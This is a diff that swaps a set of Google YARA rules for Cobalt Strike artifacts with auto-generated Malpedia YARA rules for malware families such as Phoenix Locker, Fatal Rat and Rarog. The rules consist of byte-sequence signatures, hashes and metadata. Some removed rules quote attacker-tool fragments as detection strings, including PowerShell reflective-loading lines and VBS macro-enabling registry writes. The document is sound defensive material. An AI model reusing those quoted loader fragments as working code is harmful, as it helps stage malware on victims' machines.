-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L56-L84"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "2e7a39bd6ac270f8f548855b97c4cef2c2ce7f54c54dd4d1aa0efabeecf3ba90"
-		logic_hash = "e5af04baa1d18d5a2a2c005b40bf93fe6a7b2d7116dfcf3c5b3fa36657448eb9"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "31690ec3-53d2-516a-a2ac-2daa7b554ffe"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_adspace_auto.yar#L1-L118"
+		license_url = "N/A"
+		logic_hash = "7852a8a7e96f78b645860237edf52acf830636cf13e5faeed5b1eb81bda4c09a"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$decoderFunction = { 31 ?? EB 0F 41 [2] 03 47 [3] 44 [3] 48 [2] 39 ?? 41 [2] 7C EA 4C [6] E9 }
+		$sequence_0 = { 8d8580feffff 68???????? 50 ffd6 ff750c 894510 }
+		$sequence_1 = { ffd6 8bf8 c70424???????? ffd6 }
+		$sequence_2 = { 50 8d8580feffff 50 e8???????? 8b35???????? 8d8580feffff }
+		$sequence_3 = { 8d4dec e8???????? 8d4dec e8???????? 6a0a ff15???????? a1???????? }
+		$sequence_4 = { c3 56 8b742408 56 e8???????? 59 8b4c2410 }
+		$sequence_5 = { 0f84f8010000 80a4241c01000000 6a3f 59 33c0 }
+		$sequence_6 = { 7469 6a00 57 56 }
+		$sequence_7 = { 50 e8???????? 83c40c 8bf8 8d45fc 50 }
+		$sequence_8 = { 59 33c0 85ff 59 }
+		$sequence_9 = { a1???????? 40 50 57 56 }
 
 	condition:
-		$decoderFunction
+		7 of them and filesize <49152
 }
-rule GCTI_Cobaltstrike_Resources_Artifact64_V3_14_To_V4_X
+rule MALPEDIA_Win_Kuaibu8_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/artifact64{.exe,.dll,svc.exe,svcbig.exe,big.exe,big.dll,.x64.dll,big.x64.dll} and resource/artifactuac(alt)64.exe signature for versions v3.14 through v4.x"
-		author = "gssincla@google.com"
-		id = "1c7731d3-429b-57aa-9c17-8de7d0841b1e"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L86-L128"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "decfcca0018f2cec4a200ea057c804bb357300a67c6393b097d52881527b1c44"
-		logic_hash = "af8ba6ba62bf1179510b0940e60f893f61b3ba10c81001dd90fe4c3521e56a37"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "91f1248d-ab2b-5079-b9e0-a51e87297924"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kuaibu8_auto.yar#L1-L127"
+		license_url = "N/A"
+		logic_hash = "cbf2ea9a6bca6a983b840d14cd3e4818a640e713858e86101c3fa57dacf19221"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$fmtBuilder = {
-			41 ?? 5C 00 00 00
-			C7 [3] 5C 00 00 00
-			C7 [3] 65 00 00 00
-			C7 [3] 70 00 00 00
-			C7 [3] 69 00 00 00
-			C7 [3] 70 00 00 00
-			C7 [3] 5C 00 00 00
-			C7 [3] 2E 00 00 00
-			89 [3]
-			48 [6]
-			E8
-		}
-		$fmtString = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
+		$sequence_0 = { 53 e8???????? 83c404 58 8945e4 8b5ddc }
+		$sequence_1 = { 895dc8 6a00 6a00 6a00 6804000080 }
+		$sequence_2 = { 52 e8???????? 83c404 8d0c2f 8bf0 8b03 }
+		$sequence_3 = { e9???????? 8b5dec e8???????? 8945d8 837dd803 0f8586010000 }
+		$sequence_4 = { ff75f4 e8???????? 83c408 83f800 0f8521000000 8b45fc 85c0 }
+		$sequence_5 = { 81ec30000000 c745fc00000000 8965f8 8b5d08 ff33 ff15???????? 90 }
+		$sequence_6 = { e8???????? 8945d4 8b5ddc 85db 7409 }
+		$sequence_7 = { 53 e8???????? 83c404 58 8945f4 6805000000 e8???????? }
+		$sequence_8 = { dd5de8 dd45e8 dc25???????? dd5de0 8b5df8 e8???????? b802000000 }
+		$sequence_9 = { 83c404 8803 e9???????? bd02000000 55 e8???????? 668b4e0c }
 
 	condition:
-		all of them
+		7 of them and filesize <737280
 }
-rule GCTI_Cobaltstrike_Resources_Reverse64_Bin_V2_5_Through_V4_X
+rule MALPEDIA_Win_Phoenix_Locker_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/reverse64.bin signature for versions v2.5 to v4.x"
-		author = "gssincla@google.com"
-		id = "966e6e4c-85e2-5c94-8245-25367802b7d2"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Reverse64_Bin_v2_5_through_v4_x.yara#L17-L99"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "d2958138c1b7ef681a63865ec4a57b0c75cc76896bf87b21c415b7ec860397e8"
-		logic_hash = "c657234156293b9ac363b677490739ab0b5cc2ef149c9d9c37332dab9bb012f6"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "34d54537-0c22-56ee-a952-e063e1672ba8"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phoenix_locker_auto.yar#L1-L132"
+		license_url = "N/A"
+		logic_hash = "30c99eed67f01ec94c0d1a86e9de20b1f5e3b05899cb4448846bf96ce3ca2f7f"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			48 [2]
-			AC
-			41 [2] 0D
-			41 [2]
-			38 ??
-			75 ??
-			4C [4]
-			45 [2]
-			75 ??
-			5?
-			44 [2] 24
-			49 [2]
-			66 [4]
-			44 [2] 1C
-			49 [2]
-			41 [3]
-			48
-		}
-		$calls = {
-			48 89 C1
-			41 BA EA 0F DF E0
-			FF D5
-			48 [2]
-			6A ??
-			41 ??
-			4C [2]
-			48 [2]
-			41 BA 99 A5 74 61
-			FF D5
-		}
+		$sequence_0 = { 480fabc8 48ffc8 4180d05d 488d542420 488b01 66442bc4 }
+		$sequence_1 = { b91d692dbc 4d0f45e7 4533c9 e8???????? 4c8b6c2438 4c8d442440 413bc7 }
+		$sequence_2 = { 6681942400000000c64d 66c18c2400000000d9 66c184240000000074 e8???????? e2ac 1234ca 99 }
+		$sequence_3 = { 4d8d8424b602a3ea 660fbeca 488bcb e9???????? e8???????? 8bd5 498d8c1cb602a3ea }
+		$sequence_4 = { e9???????? ff15???????? 33c9 4180fa13 3bc1 0f8417000000 488b4c2468 }
+		$sequence_5 = { 68d30f1c2f 4881842430000000bd5eeb17 66c1bc245800000025 4159 415f 4159 4159 }
+		$sequence_6 = { 0f8539000000 8d4d39 664181d42122 f9 8d455b 4d63e0 }
+		$sequence_7 = { 68d701373c 48818424080000003feaebff 55 c0e254 5a 5a c3 }
+		$sequence_8 = { e8???????? 4881842418000000aa78f72a 488b7c2428 48c74424281256ce88 68d72a8642 48c1a42400000000ef 689b25ad02 }
+		$sequence_9 = { e8???????? 4155 4151 9c 49b98059c32d64378851 e8???????? 4c0fbbea }
 
 	condition:
-		$apiLocator and $calls
+		7 of them and filesize <3702784
 }
-rule GCTI_Cobaltstrike_Resources_Reverse_Bin_V2_5_Through_V4_X
+rule MALPEDIA_Win_Billgates_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/reverse.bin signature for versions 2.5 to 4.x"
-		author = "gssincla@google.com"
-		id = "182dbcd0-1180-5516-abe3-cf2eebbd0e39"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Reverse_Bin_v2_5_through_v4_x.yara#L17-L104"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "887f666d6473058e1641c3ce1dd96e47189a59c3b0b85c8b8fccdd41b84000c7"
-		logic_hash = "c6c4fc477c7654ec07eb6ef4c6d53805a9b4881ba288754e1f50b3e4b134333c"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "2ccab9f1-e7c2-5897-af43-0d6c30857357"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.billgates_auto.yar#L1-L113"
+		license_url = "N/A"
+		logic_hash = "e0a8f89c836a13df9d06b620bc16eb3744a9d5b82a5ea28cb550060f6d08f1fc"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			31 ??
-			AC
-			C1 ?? 0D
-			01 ??
-			38 ??
-			75 ??
-			03 [2]
-			3B [2]
-			75 ??
-			5?
-			8B ?? 24
-			01 ??
-			66 8B [2]
-			8B ?? 1C
-			01 ??
-			8B ?? 8B
-			01 ??
-			89 [3]
-			5?
-			5?
-		}
-		$ws2_32 = {
-			5D
-			68 33 32 00 00
-			68 77 73 32 5F
-		}
-		$connect = {
-			6A 10
-			5?
-			5?
-			68 99 A5 74 61
-		}
+		$sequence_0 = { 3c11 7408 3c22 7404 3c30 }
+		$sequence_1 = { 8d8809f9ffff b8c94216b2 f7e9 03d1 }
+		$sequence_2 = { 3c58 7507 b802000000 eb02 }
+		$sequence_3 = { 740c 3c11 7408 3c22 7404 3c30 }
+		$sequence_4 = { 3c10 740c 3c11 7408 }
+		$sequence_5 = { 83f8ff 750c ff15???????? 8bd8 f7db }
+		$sequence_6 = { 3c11 7408 3c22 7404 }
+		$sequence_7 = { ff15???????? 83f8ff 7508 ff15???????? f7d8 85c0 }
+		$sequence_8 = { 3c10 740c 3c11 7408 3c22 }
+		$sequence_9 = { 3c10 740c 3c11 7408 3c22 7404 }
 
 	condition:
-		$apiLocator and $ws2_32 and $connect
+		7 of them and filesize <801792
 }
-rule GCTI_Cobaltstrike_Resources_Covertvpn_Injector_Exe_V1_44_To_V2_0_49
+rule MALPEDIA_Win_Rarog_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/covertvpn-injector.exe signature for version v1.44 to v2.0.49"
-		author = "gssincla@google.com"
-		id = "48485ae2-1d99-5fa8-b8e8-0047e92ef447"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Covertvpn_injector_Exe_v1_44_to_v2_0_49.yara#L17-L116"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "d741751520f46602f5a57d1ed49feaa5789115aeeba7fa4fc7cbb534ee335462"
-		logic_hash = "119602efe6243d8c0dc7b8f4468eb9b3be292620920f69dc8a560f900ac7f622"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "af269765-c756-5cee-8964-0f35e326beb2"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rarog_auto.yar#L1-L130"
+		license_url = "N/A"
+		logic_hash = "90be509347cdd78e80ac954224309fb579e700a948cbf60773c02796ec820629"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$dropComponentsAndActivateDriver_prologue = {
-			C7 04 24 [4]
-			E8 [4]
-			83 EC 04
-			C7 44 24 04 [4]
-			89 04 24
-			E8 59 14 00 00
-			83 EC 08
-			89 45 ??
-			83 7D ?? 00
-			74 ??
-			E8 [4]
-			8D [2]
-			89 [3]
-			89 04 24
-		}
-		$dropFile = {
-			C7 44 24 04 00 00 00 00
-			8B [2]
-			89 ?? 24
-			E8 [4]
-			83 F8 FF
-			74 ??
-			8B [2]
-			89 ?? 24 04
-			C7 04 24 [4]
-			E8 [4]
-			E9 [4]
-			C7 44 24 18 00 00 00 00
-			C7 44 24 14 80 01 00 00
-			C7 44 24 10 02 00 00 00
-			C7 44 24 0C 00 00 00 00
-			C7 44 24 08 05 00 00 00
-			C7 44 24 04 00 00 00 40
-			8B [2]
-			89 04 24
-			E8 [4]
-			83 EC 1C
-			89 45 ??
-		}
-		$nfp = "npf.sys" nocase
-		$wpcap = "wpcap.dll" nocase
+		$sequence_0 = { 8db5c8fdffff e9???????? 8b542408 8d420c 8b8ab8fdffff }
+		$sequence_1 = { 83781410 7202 8b00 8b35???????? 53 53 50 }
+		$sequence_2 = { 8d8d28fdffff e8???????? 53 53 68???????? 8d85e8feffff 50 }
+		$sequence_3 = { 50 68???????? 51 e8???????? 83c40c 83ec1c c645fc21 }
+		$sequence_4 = { 8b75ac 46 56 53 ff15???????? 89459c }
+		$sequence_5 = { 68???????? 50 8d4dd0 e8???????? 59 59 8d8d9cfeffff }
+		$sequence_6 = { ff7508 6a00 6a01 ff15???????? 8bf0 85f6 7409 }
+		$sequence_7 = { 57 83c8ff e8???????? 53 68???????? 83c8ff }
+		$sequence_8 = { 59 8b7508 8d34f5501d4300 391e 7404 8bc7 eb6d }
+		$sequence_9 = { c1e002 c1eb06 0bc3 8a80c0b64200 884102 0fbe443202 83e03f }
 
 	condition:
-		all of them
+		7 of them and filesize <598016
 }
-rule GCTI_Cobaltstrike_Resources__Template_Vbs_V3_3_To_V4_X
+rule MALPEDIA_Win_Shapeshift_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/btemplate.vbs signature for versions v3.3 to v4.x"
-		author = "gssincla@google.com"
-		id = "62f35d02-1e4e-5651-b575-888ce06b8bdd"
-		date = "2022-11-18"
-		modified = "2022-11-22"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Vbs_v3_3_to_v4_x.yara#L17-L41"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "e0683f953062e63b2aabad7bc6d76a78748504b114329ef8e2ece808b3294135"
-		logic_hash = "c9df0e287eb0eacf7c6cfcf3f6d1043ae6f2fdacd3b22bd42ac71f4b0d7226ff"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "08e6a360-def4-58d5-989a-762ada20c1ff"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shapeshift_auto.yar#L1-L105"
+		license_url = "N/A"
+		logic_hash = "c522b147cc687acbd3ced32f880a4cbfad89b8f069e6c6ec7d0ae0159c8619d1"
 		score = 75
-		quality = 83
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$ea = "Excel.Application" nocase
-		$vis = "Visible = False" nocase
-		$wsc = "Wscript.Shell" nocase
-		$regkey1 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" nocase
-		$regkey2 = "\\Excel\\Security\\AccessVBOM" nocase
-		$regwrite = ".RegWrite" nocase
-		$dw = "REG_DWORD"
-		$code = ".CodeModule.AddFromString"
-		$ao = { 41 75 74 6f 5f 4f 70 65 6e }
-		$da = ".DisplayAlerts"
+		$sequence_0 = { e8???????? 33d2 b93b110f00 f7f1 68???????? 8915???????? e8???????? }
+		$sequence_1 = { 6a00 6a07 68000000c0 51 ff15???????? }
+		$sequence_2 = { 8b45fc 817848d0f74100 7409 ff7048 e8???????? }
+		$sequence_3 = { 394508 7c1f 3934bd38054200 7531 e8???????? 8904bd38054200 }
+		$sequence_4 = { 6a00 57 e8???????? 8b5dfc 83c410 8b35???????? 53 }
+		$sequence_5 = { 8365fc00 8b049d38054200 8b4de0 f644082801 7515 e8???????? c70009000000 }
+		$sequence_6 = { c3 3b0d???????? f27502 f2c3 f2e987080000 }
+		$sequence_7 = { 6a0c 7550 e8???????? 83c404 8bf8 }
 
 	condition:
-		all of them
+		7 of them and filesize <303104
 }
-rule GCTI_Cobaltstrike_Resources_Template_X64_Ps1_V3_0_To_V4_X_Excluding_3_12_3_13
+rule MALPEDIA_Win_Albaniiutas_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13"
-		author = "gssincla@google.com"
-		id = "5a808113-aacb-56ca-b3ec-166c73c54b85"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13.yara#L17-L37"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87"
-		logic_hash = "80823b8590004686ebd83958cad16094ea2f6958a837d87934507531a00df77a"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "59f4d909-2fdf-5b2b-b2d0-e08828d007ee"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.albaniiutas_auto.yar#L1-L125"
+		license_url = "N/A"
+		logic_hash = "121e552bf42e7769ddf3d97832d0aa4668207291feb4416fe4bffab1efac2c40"
 		score = 75
-		quality = 81
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$dda = "[AppDomain]::CurrentDomain.DefineDynamicAssembly" nocase
-		$imm = "InMemoryModule" nocase
-		$mdt = "MyDelegateType" nocase
-		$rd = "New-Object System.Reflection.AssemblyName('ReflectedDelegate')" nocase
-		$data = "[Byte[]]$var_code = [System.Convert]::FromBase64String(" nocase
-		$64bitSpecific = "[IntPtr]::size -eq 8"
-		$mandatory = "Mandatory = $True"
+		$sequence_0 = { c745f800000000 50 8bf2 c745f400000000 8bf9 }
+		$sequence_1 = { c1f906 6bc030 03048d90df0210 50 ff15???????? 5d c3 }
+		$sequence_2 = { 23c1 eb57 53 8b1c85c8540110 }
+		$sequence_3 = { c705????????01000000 c705????????01000000 6a04 58 6bc000 c7806cda021002000000 6a04 }
+		$sequence_4 = { 59 83cfff 897de4 8365fc00 8b049d90df0210 8b4de0 f644082801 }
+		$sequence_5 = { 898850030000 8b4508 59 c74048c0a40110 8b4508 6689486c }
+		$sequence_6 = { 68???????? ffd6 68???????? 8d45d4 c745d400000000 50 e8???????? }
+		$sequence_7 = { 83e801 0f8580000000 8b4508 dd00 ebc6 c745e0f87c0110 }
+		$sequence_8 = { 660fd60f 8d7f08 8b048dd46a0010 ffe0 f7c703000000 7413 }
+		$sequence_9 = { 33048dc01c0110 0fb6ca 33048dc0280110 ff4d08 0f8502feffff 83ff04 }
 
 	condition:
-		all of them
+		7 of them and filesize <566272
 }
-rule GCTI_Cobaltstrike_Resources_Xor_Bin_V2_X_To_V4_X
+rule MALPEDIA_Win_Fatal_Rat_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resource/xor.bin signature for version 2.x through 4.x"
-		author = "gssincla@google.com"
-		id = "1754746c-3a42-5f7d-808a-ba2e1c0a270e"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Xor_Bin__32bit_v2_x_to_4_x.yara#L17-L36"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "211ccc5d28b480760ec997ed88ab2fbc5c19420a3d34c1df7991e65642638a6f"
-		logic_hash = "ad662a263ede6c3ba964baf8abe4848ed1e994f2c236d4315cb60c1d51442620"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "ad01455e-ebcc-5d76-97a6-8783411925c1"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fatal_rat_auto.yar#L1-L132"
+		license_url = "N/A"
+		logic_hash = "bf12fac2d058bbab9ea0f9b93b84c2577fb8a36680f2394444c1c24a4d7c12b7"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$stub52 = {fc e8 ?? ?? ?? ?? [1-32] eb 27 5? 8b ??    83 c? ?4 8b ??    31 ?? 83 c? ?4 5? 8b ??    31 ?? 89 ??    31 ?? 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb ea 5? ff e? e8 d4 ff ff ff}
-		$stub56 = {fc e8 ?? ?? ?? ?? [1-32] eb 2b 5d 8b ?? ?? 83 c5 ?4 8b ?? ?? 31 ?? 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e8 5? ff e? e8 d? ff ff ff}
+		$sequence_0 = { 807dff00 742f 8b4e10 56 034df4 68???????? }
+		$sequence_1 = { 55 8bec 8b4508 33d2 3bc2 7432 8b481c }
+		$sequence_2 = { 833d????????02 7513 68???????? 8d851cffffff 50 e8???????? 59 }
+		$sequence_3 = { c645bb46 c645bc6f c645bd72 c645be6d 885dbf ff15???????? }
+		$sequence_4 = { 8b7df8 899e90000000 80662d00 8bce e8???????? 8b8e90000000 8b4614 }
+		$sequence_5 = { 48 eb05 8b462c 2bc1 8945f0 8b4508 8b0485d0b40110 }
+		$sequence_6 = { c685e0fdffff2e c685e1fdffff65 c685e2fdffff78 c685e3fdffff65 889de4fdffff c645946b c6459573 }
+		$sequence_7 = { 8981a4af0600 5d c3 c3 c3 55 8bec }
+		$sequence_8 = { 33db a5 a5 53 8d8520feffff 6a2e 50 }
+		$sequence_9 = { ff15???????? 53 56 50 a3???????? ff15???????? 80a5ecfbffff00 }
 
 	condition:
-		any of them
+		7 of them and filesize <344064
 }
-rule GCTI_Cobaltstrike_Resources_Template__X32_X64_Ps1_V1_45_To_V2_5_And_V3_11_To_V3_14
+rule MALPEDIA_Win_Sharpknot_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/template.x64.ps1, resources/template.x32 from v3.11 to v3.14 and resources/template.ps1 from v1.45 to v2.5 "
-		author = "gssincla@google.com"
-		id = "c9fa6a39-0098-5dde-9762-94bc6b2df299"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template__x32_x64_Ps1_v1_45_to_v2_5_and_v3_11_to_v3_14.yara#L17-L43"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87"
-		logic_hash = "5196f111f257239d2e7e4ca342e7fc8bac1687743bc8c7ff23addf1f094b2e93"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "50369af8-b07e-5fc0-8a81-2caae560d6bb"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sharpknot_auto.yar#L1-L120"
+		license_url = "N/A"
+		logic_hash = "c9ade7f96a822eb5e208dc6f180c2f1529ab39e41f40e8790faf2abbc1ccb7f4"
